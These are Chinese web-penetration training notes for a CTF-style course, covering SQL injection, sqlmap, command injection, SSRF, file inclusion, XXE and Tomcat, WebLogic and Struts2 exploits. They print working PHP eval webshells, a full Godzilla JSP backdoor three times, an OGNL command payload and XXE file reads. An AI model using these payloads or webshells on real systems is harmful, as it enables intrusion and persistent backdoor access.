网安培训第二期——sql注入+中间件+工具

news2024/11/15 19:28:32

文章目录

    • 宽字节注入
    • 插入注入
    • 二次注入
    • PDO模式(动态靶机!!!!!!!)
    • sql注入读取文件
    • sql注入导出文件
    • linux命令
  • 10.12笔记
    • sqlmap
    • sqlmap参数
  • 10.13笔记
    • sqlmap 文件读写
    • 前后缀
    • 常用tamper及适用场景
  • 10.14笔记
    • 命令执行漏洞
      • linux命令连接符
      • windows命令连接符
    • 代码执行漏洞
  • 10.15笔记
    • SSRF(可能考察burp爆破)
  • 10.16笔记
    • WSDL api接口(不考)
    • php伪协议
  • 10.17笔记
    • XXE 外部实体注入
    • JSONP 挟持(不好考察)
    • 中间件
  • 10.18笔记
    • tomcat
    • weblogic漏洞
    • struts2
    • vulhub

宽字节注入

gbk 中文
utf-8
mysql:数据库使用gbk编码方式
php:魔术转义符
使用%df跟省下的字节去组成一个汉字实现闭合。
例题:

  1. 单引号没反应
    在这里插入图片描述
  2. 添加%df报错
    在这里插入图片描述
  3. 添加%23报错消失,验证即可知,闭合成功。
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

插入注入

insert

insert into news values (0, '123', '456')

闭合方式 123’,‘456’)#

insert into news values (0, '123
', '456')#','')

1.闭合方式(确定sql语句格式、列数)
2.字段匹配
3.字段类型(int 日期 时间)

二次注入

update
先将恶意字符入库,再代入(有两种方式取值:1.session取值 2.数据库select取值)查询。

  1. 注册恶意用户 admin’ --> php转义成admin’ --> 数据库存储为 admin’
// session取值
$username = $_SESSION['username'];
// admin'
update users set password='$pass' where username='admin'#' and password='$curr_pass'

使用 admin'# 完成闭合,通过修改admin'#用户密码的方式,基于注入,实际修改的是admin用户的密码,通过'# 拼接and password='$curr_pass'跳过了原密码的验证。

例题:sqli/Less-24

  1. 注册用户admin’#12138
    在这里插入图片描述
  2. 登录用户admin’#12138
    在这里插入图片描述
  3. 修改admin’#12138用户的密码,页面显示被操作用户为admin’#12138,实际上通过sql注入实现了对admin账户密码的修改。
update users set password='$pass' where username='admin
'#' and password='$curr_pass'

在这里插入图片描述

正常sql语句

update users set password='$pass' where username='admin' and password='$curr_pass'

PDO模式(动态靶机!!!!!!!)

目前注入点,只支持查询select。
使用pdo模式,支持增删改查操作。

选取chujiban数据库中 news 表的 id, title 和 content 字段,并放到 HTML 表格中:

<?php
header("Content-Type:text/html;charset=utf-8");
echo "<table style='border: solid 1px black;'>";
echo "<tr><th>Id</th><th>标题</th><th>内容</th></tr>";
 
class TableRows extends RecursiveIteratorIterator {
    function __construct($it) { 
        parent::__construct($it, self::LEAVES_ONLY); 
    }
 
    function current() {
        return "<td style='width:150px;border:1px solid black;'>" . parent::current(). "</td>";
    }
 
    function beginChildren() { 
        echo "<tr>"; 
    } 
 
    function endChildren() { 
        echo "</tr>" . "\n";
    } 
} 
 
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "chujiban";
$id = $_GET['id'];
if(!empty($id)) {
    try {
        $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $stmt = $conn->prepare("SELECT id, title, content FROM news where id = '$id'"); 
        $stmt->execute();
     
        // 设置结果集为关联数组
        $result = $stmt->setFetchMode(PDO::FETCH_ASSOC); 
        foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) { 
            echo $v;
        }
    }
    catch(PDOException $e) {
        echo "Error: " . $e->getMessage();
    }
}
 

$conn = null;
echo "</table>";
?>
  1. 浏览器打开php页面
    在这里插入图片描述
    在这里插入图片描述

  2. 单引号闭合
    在这里插入图片描述
    在这里插入图片描述

  3. 基于pdo模式进行注入
    原sql代码SELECT id, title, content FROM news where id = '$id',通过浏览器输入http://127.0.0.1/pdo.php?id=2%27;update%20news%20set%20title=0x61626364%20where%20id=1%23,实现了对id=1的数据修改。
    注意:1.第一个sql语句后要加分号;2.实现这种操作基于拥有update权限。
    在这里插入图片描述

  4. 查询id=1的数据验证更改成功。
    在这里插入图片描述
    通过浏览器输入http://127.0.0.1/pdo.php?id=1%27;insert into news values(0, 'abc', 'def')%23可以实现数据插入

sql注入读取文件

条件:

  1. 数据库账号具备file权限
  2. 文件读取权限
  3. mysql配置文件mysql.ini设置参数secure-file-priv=""
load_file(filename)
SELECT LOAD_FILE('D:/phpstudy_pro/WWW/1.txt');

1.数据库权限 增删改查
2.文件权限 读写

GRANT FILE,SELECT ON chujiban.* TO 'chujiban1'@'%' INENTIFIED BY '123456';

sql注入导出文件

into outfile "c:/xxx.txt"
select 1 into outfile "c:/2.txt";

条件:

  1. 数据库账号具备file权限
  2. 文件读取权限
  3. mysql配置文件mysql.ini设置参数secure-file-priv=""

mysql.ini->参数secure-file-priv
1.null 不允许导入导出
2.“”允许导出到任意位置
3.特定位置

例题:
1.找到注入点
通过在根目录上传phpinfo.php,然后查看在phpinfo页面搜索ROOT,可以查找到路径

在这里插入图片描述

2.写入一句话木马 写入考试地址/var/www/html/

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,"<?php eval($_POST['pass']);?>" into outfile "/var/www/html/1.php"%23

3.使用哥斯拉连接
4.找flag
在这里插入图片描述

在这里插入图片描述

linux命令

find / -name *flag*

10.12笔记

sqlmap

——基于python 基于http请求

kali下的sqlmap命令:

  1. 注入
sqlmap -u "http:xxx\id=1"

2.查看数据库

sqlmap -u "http:xxx\id=1" --dbs

3.查看表

sqlmap -u "http:xxx\id=1" -D 数据库名 --tables

4.查看列

sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns

5.查看详细信息

sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns --dump

sqlmap参数

-h 帮助文档
-u 指定url

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

–proxy 使用代理查看sqlmap的每次payload请求

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --proxy=http://127.0.0.1:8080

–current-user 指定当前用户

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user

–current-db 指定当前数据库

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db

–dbs 查看所有数据库

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

–users 查看所有用户

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users

–password 获取密码hash

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --password

-D 指定数据库
–tables 查看指定数据库下的所有表

查看security数据库下的所有表
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables

-T 指定表
–columns 查看指定数据库指定表下的所有列

查看security数据库下的users表的所有列
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

-C 指定列
-C username,password 指定username,password列输出
–dump 查看表信息,导出数据

查看security数据库下的users表的username,password列输出
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump
查看security数据库下的users表信息
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump

//从第一条开始,到第五条
–start 1 --stop 5

查看security数据库下的users表信息前五条
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump --start 1 --stop 5

针对post请求的两种方式:

  1. -r 读取文件(一般适用于post请求)
    例Less-11:
    1.burp抓包
    在这里插入图片描述
    2.copy to file(跟sqlmap同路径)
    在这里插入图片描述
    在这里插入图片描述
    3.sqlmap执行
python sqlmap.py -r 1.txt 
python sqlmap.py -r 1.txt --dbs
python sqlmap.py -r 1.txt -D 数据库名 -T 表名 --dump
  1. –data 添加参数
    网页提交→f12→网络→找到请求→负载→查看源→复制参数→sqlmap启动
python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

–cookie 指定cookie

python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

User-Agent注入
* 指定注入参数位置
在这里插入图片描述
后续跟 -r 使用文件注入步骤一样,唯一区别为在sqlmap启动的时候会有一个是否对标记注入点进行payload的确认,如下。
在这里插入图片描述
sqlmap注入带来的User-Agent为sqlmapxxx问题
使用参数–random-agent 实现随机User-Agent解决。

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --random-agent

–flush-session 刷新缓存

-v 0-6 显示等级
1 默认
2 debug信息
3 显示payload信息
4 显示请求头
5 显示返回头
6 显示完整返回包

–level 1-5 默认1
1 普通探测
2 探测cookie

3 探测user-agent

User-Agent注入:对burp取到的抓包内容直接进行探测
python sqlmap.py -r 3.txt --level 3

4 探测refer
5

10.13笔记

在4种注入方式都支持的情况下,注入方式使用的优先级顺序为
–technique=U,E,B,T
–threads 10
–sql-shell sqlmap提供的模拟mysql的shell
使用pdo进行测试:

python sqlmap.py -u "http://127.0.0.1/pdo.php?id=1" --sql-shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
非pdo模式不支持堆语句查询,以sqli/Less1测试:
在这里插入图片描述
在这里插入图片描述

–privileges 查看用户权限

sqlmap 文件读写

两大前提:
1 所有的权限(1,2,3)
2 知道根路径

load_file()
into outfile “”

–os-shell 获取一个系统shell

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell

针对于找到注入点,但是无法在数据库中查询到flag的情况

  1. 找到注入点 添加 --os-shell
    在这里插入图片描述
    1.使用默认sqlmap自导的几个路径
    2.自写路径地址
    3.路径字典-绝对路径 c:/file.txt
    4.使用sqlmap自带的路径字典(linux路径)
    在这里插入图片描述

  2. 输入路/var/www/html

  3. 上传小马

  4. 上传大马
    在这里插入图片描述

  5. 哥斯拉连接
    在这里插入图片描述

ps:另外一个文件用于执行系统命令
在这里插入图片描述
–os-shell 本质:
into outfile “”
into dumpfile “”

–file-read load_file() 前提:有读取权限

python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-read=D:/phpstudy_pro/WWW/1.txt

上传:
–file-write=1.php 指定本地的php文件
–file-dest=c:/phpstudy_pro/www/1.php 指定远程路径地址

# 在注入点把F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt上传到D:/phpstudy_pro/WWW/2.txt文件中
python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-dest=D:/phpstudy_pro/WWW/2.txt --file-write=F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt

前后缀

–prefix 增加前缀

--prefix '\'

–suffix 增加后缀

常用tamper及适用场景

base64encode base64编码
between between替换大于号
equaltolike 过滤=,=换成like
concat2concatws 过滤concat
nonrecursivereplacement 关键字双写
randomcase 关键字随机大小写
space2morecomment 随机注释符代替空格
space2randomblank 随机空白符替换空格
unmagicquotes 宽字节
varnish 伪造http头 X-originating-IP
xforwardedfor 伪造http头 X-Forwarded-For

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=between,equaltolike,concat2concatws,randomcase,space2morecomment,varnish,xforwardedfor --random-agent --threads 10

10.14笔记

命令执行漏洞

场景:路由器/运维机 ping命令

// ping.php
<?php
$ip = $_POST['ip'];
// system exec shell_exec ``
if(!empty($ip)) {
    $cmd = "ping ".$ip;
    system($cmd);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ping</title>
</head>
<body>
    <form action="" method="post">
        ip:<input type="text" name="ip"><br>
        <input type="submit" value="ping">
    </form>
    
</body>
</html>

在这里插入图片描述

linux命令连接符

  1. 分号 ; 依次运行两个命令,真真和假真都可。
# 真真
ping 127.0.0.1 ; whoami
# 假真
ping 777.0.0.1 ; whoami

在这里插入图片描述

# 其他可用命令,如
# 假真
cat 1.txt ; whoami 
# 真真
find /var/www/html/ -name 题目文件名.php ; whoami 
  1. || 或运算,只有假真才可
# 假真
ping 777.0.0.1  || whoami

在这里插入图片描述

# 其他可用命令,如
# 假真
cat 12138.txt || whoami 
# 假真
find / -name 12138.php || whoami 
  1. | ,真真和假真都可
# 真真
ping 127.0.0.1 | whoami
# 假真
ping 777.0.0.1 | whoami

在这里插入图片描述

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 题目文件名.php | whoami 
# 假真
cat 12138.txt | whoami
  1. && ,只有真真才可。
# 真真
ping 127.0.0.1 && whoami

在这里插入图片描述

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 题目文件名.php && whoami 
  1. & ,真真和假真都可。
# 真真
ping 127.0.0.1 & whoami
# 假真
ping 777.0.0.1 & whoami

在这里插入图片描述

# 其他可用命令,如 
# 真真
find /var/www/html/ -name 题目文件名.php & whoami 
# 假真
cat 12138.txt & whoami

windows命令连接符

  1. && , 真真可输出。
C:\Users\dongy>ping 127.0.0.1 && whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms
dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 && whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
  1. &,真真和假真都可输出。
C:\Users\dongy>ping 127.0.0.1 & whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms
dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 & whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
dy-pc\dongy
  1. || ,假真可输出。
C:\Users\dongy>ping 127.0.0.1 || whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64
来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\dongy>ping 777.0.0.1 || whoami
Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。
dy-pc\dongy
  1. |,真真和假真都可输出。
C:\Users\dongy>ping 127.0.0.1 | whoami
dy-pc\dongy

C:\Users\dongy>
C:\Users\dongy>ping 777.0.0.1 | whoami
dy-pc\dongy
127.0.0.1 | echo '<?php @eval($_POST[12138]);?>' >> /var/www/html/12138.php
127.0.0.1 | find / -name *flag*
127.0.0.1 | whoami

代码执行漏洞

10.15笔记

SSRF(可能考察burp爆破)

xss 跨站脚本攻击(窃取cookie) 反射型和存储型

script
xxx.php?xxx=<script>alert(1111)</script>
document.cookie
xxx.php?cookie=document,cookie

csrf 跨站请求伪造

ssrf 攻击(参数image=后面的)可以爆破,主机地址不可以爆破)

http://www.xxx.com/a.php?image=http://xxx.com/1.jpg
http://www.xxx.com/a.php?image=http://10.211.55.18/1.jpg
//ssrf.php
<?php
if(isset($_REQUEST['url'])) {
    
    $_link = $_REQUEST['url'];
    //$filename = './curled/'.time().'.txt';
    $curlobj = curl_init($_link);
    //$fp = fopen($filename, "W");
    //curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_exec($curlobj);
    curl_close($curlobj);
    //fclose($fp);
    //$fp = fopen($filename, "r");
    //$result = fread($fp, filesize($filename));
    //fclose($fp);
    //echo $curlobj;
}else {
    echo "start!";
}
?>

在这里插入图片描述
读取文件

http://127.0.0.1/ssrf.php?url=file://C:\Windows\System32\drivers\etc\hosts
?url=file://C:\Windows\System32\drivers\etc\hosts

在这里插入图片描述
在这里插入图片描述

  1. 探测内网web资源信息 ?url=http://127.0.0.1/
  2. 探测端口 dist://127.0.0.1:3306 使用burp进行爆破
  3. 读取本地文件file:///var/www/html/xxx.txt

10.16笔记

WSDL api接口(不考)

前后端分离→前端 + 后端:考试平台→vue + golang(编译型语言,不同于php解释型语言)→编译后为可执行程序
token ≈ session,cookie

php伪协议

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zip:// — 压缩流
6 phar:// — PHP 归档
7 glob:// — 查找匹配的文件路径模式
8 data:// — 数据(RFC 23979 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
  1. file://
// i.php  文件包含
<?php
$file=$_GET['file'];
include $file;
?>

相对路径
在这里插入图片描述

绝对路径
在这里插入图片描述
退级查找文件

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../1.txt

在这里插入图片描述
绝对路径查找文件
在这里插入图片描述

  1. php://filter
//将文件内容转换成base64编码
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php

在这里插入图片描述
在这里插入图片描述

  1. php://input
// 用来执行php代码,通常以post方式
127.0.0.1/i.php?file=php://input

在这里插入图片描述
在这里插入图片描述
写入一句话代码

//phpinput.php
<?php
    $file=fopen("dy12138.php","w");
    fwrite($file, "<?php eval(\$_POST['pass'])?>");
    fclose($file);
?>

burp写入一句话木马
在这里插入图片描述
连接成功
在这里插入图片描述
4. zip:// phar:// — 压缩流

http://127.0.0.1/i.php?file=zip://d:\phpstudy_pro\www\1.zip%23123.txt
http://127.0.0.1/i.php?file=phar://d:\phpstudy_pro/www\1.zip\123.txt

在这里插入图片描述
在这里插入图片描述

  1. http:// ——远程包含,先考虑目录扫描或从本身找线索。
http://127.0.0.1/i.php?file=http://127.0.0.1/1.txt

在这里插入图片描述

10.17笔记

1016考试题整理
思路:文件包含,在不知道其他文件的情况下,先读文件本体,也可考虑使用php://input通过写入shell的方式获取flag,但是需要php.ini中allow_url_include=On在这里插入图片描述在这里插入图片描述
无法读取,考虑是否为base64编码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

XXE 外部实体注入

参考
实验一:有回显读本地敏感文件(Normal XXE)
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件.

本地服务器上放上解析 XML 的 php 代码:

示例代码:xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

burp对127.0.0.1/xml.php抓包,send to repeater → 改为POST 提交方式
添加参数
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]> 
<creds>&t12138;</creds>



<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY t12138 SYSTEM "file:///d:/phpstudy_pro/www/1.txt"> ]> 
<creds>&t12138;</creds>

在这里插入图片描述
同理,php://filter 同样适用

//将文件内容转换成base64编码
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=convert.base64-encode/resource=xxx.php

在这里插入图片描述

JSONP 挟持(不好考察)

同源策略介绍:

  • 同源策略:同域名 同端口号 同协议;
  • 浏览器有一个“同源策略”的规则: 只有在同域名同端口号和同协议下才能进行数据的请求和传输;
  • 不符合同源策略的,浏览器为了安全,会阻止请求;

解决跨域问题,有两种办法:

  • 第一就是:cors,由后端设置:Access-Control-Allow-Origin:*
  • 这也就是为什么有一些数据可以跨域访问,因为它们后端设置了允许指定接口或者允许所有接口去访问,这个设置可以在Response Headers里看到;
  • CORS是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制;
  • 第二就是:jsonp,由前后端协作去设置;
  • jsonp的原理:动态创建script标签,src属性指向没有跨域限制;指向一个接口,接口返回的格式一定是***()函数表达式
    代码:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <button id="mybtn">jsonp</button>
 
    <script>
        //调用这个数据里面的函数,拿回来请求的数据
        function callbackFunction(obj) {
            console.log(obj)
        }
 
        mybtn.onclick = function () {
            var oscript = document.createElement("script")//动态创建script节点
            oscript.src = `https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction`//请求数据的地址
            document.body.appendChild(oscript)//将节点插入到body里面
            oscript.onload = function(){
                //删除当前script节点
                oscript.remove()
            }
        }
    </script>
</body>
</html>

在这里插入图片描述
产生漏洞:jsonp挟持
JSONP劫持,就是攻击者attacker通过构造设计一个网站evil(网站中包含其他网站的JSONP漏洞利用代码,具体为回调函数和script标签)请求用户已注册并登录的网站victim(含有JSONP漏洞,该网站对来自网站evil的请求没有进行安全检查直接返回数据)将数据通过alert弹窗等方式返回到网站victim并显示用户在网站victim的注册信息。
总结:JSONP劫持就是利用scirpt标签的src属性实现跨域请求,获取网站数据的过程。

中间件

  1. apache
    php服务 → 列目录 → 帮助了解web架构
    列目录:
    在这里插入图片描述
    可以使用目录扫描工具,通过DIR.txt→PHP.txt→phptop2500.txt→phptop10000.txt字典,扫描目录。

  2. nginx
    虚假原因:nginx < 0.8 出现了1.jpg可使用1.jpg/*.php执行图片文件的漏洞
    真实原因:php.cgi配置问题导致的畸形解析漏洞
    一般通过畸形解析漏洞结合上传白名单考察

先尝试是否可以直接上传php,不行的话使用图片一句话木马。
靶机地址:http://ctf.vivivi.vip:30011/
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
图片加入一句话木马

copy 1.jpg/b + phpinput.php test.jpg

上传→执行→查看文件。

10.18笔记

tomcat

应用于java → 具有管理页面
本地tomcat默认口令:admin:admin

基于tomcat通过jsp文件的一句话木马连接哥斯拉:

  1. 使用哥斯拉生成一句话木马 1.jsp(基于java)
    在这里插入图片描述
  2. 将1.jsp打包成1.war
  3. 在127.0.0.1/manager/html页面上传
    在这里插入图片描述
  4. 部署成功
    在这里插入图片描述
  5. 验证1.jsp是否部署成功。
    在这里插入图片描述
  6. 哥斯拉连接
    在这里插入图片描述

Tomcat PUT方法任意写文件漏洞
对tomcat抓包send to repeater,然后修改方法为PUT,添加jsp文件名,写入文件内容,这里可以使用哥斯拉创建的jsp格式的一句话木马。

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

在这里插入图片描述
连接成功。
在这里插入图片描述

weblogic漏洞

1.上传文件漏洞
仍然使用哥斯拉生成的上一个war包
在这里插入图片描述
上传war包
在这里插入图片描述
一直下一步下一步,直到完成,然后验证木马已经上传。
在这里插入图片描述
哥斯拉连接成功。
在这里插入图片描述
2.弱口令
3.ssrf漏洞
自查

struts2

java + tomcat框架 文件名:login.action login.do
漏洞类型:

  1. 代码执行
  2. 命令执行

s2-001 DEMO

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述

在这里插入图片描述
工具使用:Struts2综合利用.jar
1.输入网址,点击验证。
在这里插入图片描述
2.命令执行:只能查看,不能写入
在这里插入图片描述
3.上传到根目录
在这里插入图片描述
上传成功。
在这里插入图片描述
页面访问上传的jsp文件
在这里插入图片描述
此处可传入一句话木马。

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

在这里插入图片描述
写入成功。
在这里插入图片描述
4.上传到指定目录
注意修改路径
在这里插入图片描述

上传成功
在这里插入图片描述

在这里插入图片描述

工具使用:Struts2漏洞检查工具2019版 V2.3
1.输入网址,点击验证。
在这里插入图片描述
2.查看漏洞信息
在这里插入图片描述

3.命令执行
在这里插入图片描述
4.文件上传
直接点击上传为上传到根目录,也可以自定义目录。

在这里插入图片描述
上传成功
在这里插入图片描述
在这里插入图片描述
此处可以上传一句话木马(jsp)

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

在这里插入图片描述

在这里插入图片描述

vulhub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1410300.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统-线程的概念(什么是线程 为什么线程共享进程资源 为什么线程切换开销低 引入线程的变化 线程属性 为啥要引入线程)

文章目录 总览什么是线程&#xff0c;为什么要引入线程引入线程机制的变化线程的属性 总览 什么是线程&#xff0c;为什么要引入线程 此时qq进程内的视频文字聊天传输文件可以同时进行&#xff0c;如果进程内部是顺序执行的话&#xff0c;那么将某一时刻只能执行一个功能&…

C语言王道练习题第七周两题

第一题 Description 输入一个学生的学号&#xff0c;姓名&#xff0c;性别&#xff0c;用结构体存储&#xff0c;通过 scanf 读取后&#xff0c;然后再 通过 printf 打印输出 Input 学号&#xff0c;姓名&#xff0c;性别&#xff0c;例如输入 101 xiongda m Output 输出…

基于YOLOv8与ByteTrack的车辆行人多目标检测与追踪系统【python源码+Pyqt5界面+数据集+训练代码】深度学习实战、目标追踪、运动物体追踪

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

开源项目Git Commit规范与ChangeLog

